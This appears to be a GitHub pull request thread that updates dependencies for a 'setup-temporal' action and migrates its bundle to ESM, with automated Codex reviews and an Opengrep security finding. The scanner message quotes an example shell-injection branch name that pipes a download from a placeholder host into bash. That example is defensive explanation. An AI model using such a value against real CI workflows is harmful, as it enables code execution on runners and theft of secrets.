build: update action dependencies

[chaptersix]

Summary

• consolidate Dependabot PRs Bump minimatch from 3.1.2 to 3.1.5 #19, Bump brace-expansion from 1.1.11 to 1.1.16 #22, Bump undici and @actions/http-client #23, and Bump js-yaml from 4.1.0 to 4.3.1 #24
• update @actions/http-client and @actions/tool-cache to v4, plus their undici dependency
• update lockfile-only minimatch, brace-expansion, and js-yaml entries
• migrate the generated action bundle to ESM because the v4 Actions toolkit packages are ESM-only
• rename the CommonJS ESLint and Prettier configuration files to .cjs so they remain loadable with "type": "module"

The bundle remains committed under dist/setup-temporal. ncc minification is disabled because it produces Node-invalid output for the current ESM dependency tree; the build removes generated trailing whitespace so the bundle-freshness check remains clean.

Validation

• npm ci
• npm run lint
• npm run format:check
• npm run build twice, with identical generated output
• node --check dist/setup-temporal/index.js
• git diff --check

Stack

Base: #26 (automate-action-releases). Merge after #26; GitHub will retarget it to main.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 54d022c9dd

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[github-actions]

Opengrep — new findings

Severity	Location	Rule	Message
ERROR	.github/workflows/verify.yml:41	security.gha.run-shell-injection	Untrusted GitHub context is interpolated directly into this run/script block, where it is substituted into the command before the shell runs — so quoting inside the script does not protect you. An attacker who controls the value (e.g. a pull-request title, label, or fork branch name such as a"; curl evil.sh | bash; ") can execute arbitrary commands on the runner and steal secrets or code. Fix: copy the value into a step-level env: entry (e.g. TITLE: ${{ github.event.pull_request.title }}) and reference the quoted environment variable in the script instead (echo "$TITLE"), which keeps the untrusted data out of command parsing. If the value appears only as a condition choosing between hard-coded string literals (e.g. ${{ github.head_ref == 'x' && 'a' || 'b' }}) the result is constant and not exploitable; still hoist it into bash so the run line carries no ${{ }}. Only inputs an external contributor can control without write access are flagged.
WARNING	.github/workflows/verify.yml:41	security.gha.run-shell-injection-refs	A Git ref (branch/tag name) that is not fork-controlled is interpolated directly into this run/script block — github.ref, github.base_ref, github.ref_name, pull_request.base.ref, or a repository default_branch. Setting these requires write access to the repository, so a fork pull request cannot control them and this is not externally exploitable. But Git ref names may contain shell metacharacters ($, ;, backticks, |, (, )), so route the value through a step-level env: entry (e.g. REF: ${{ github.base_ref }}) and reference the quoted environment variable instead (echo "$REF") as defense-in-depth. The fork-controlled refs (github.head_ref, pull_request.head.ref) are the externally-exploitable case and are reported at ERROR severity by security.gha.run-shell-injection.

---

Suppress findings

Add a noopengrep comment on the line before the finding:

# noopengrep: <rule-id>

[chaptersix]

@codex review

[chatgpt-codex-connector]

Codex Review: Didn't find any major issues. 🎉

Reviewed commit: 0527c54189

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".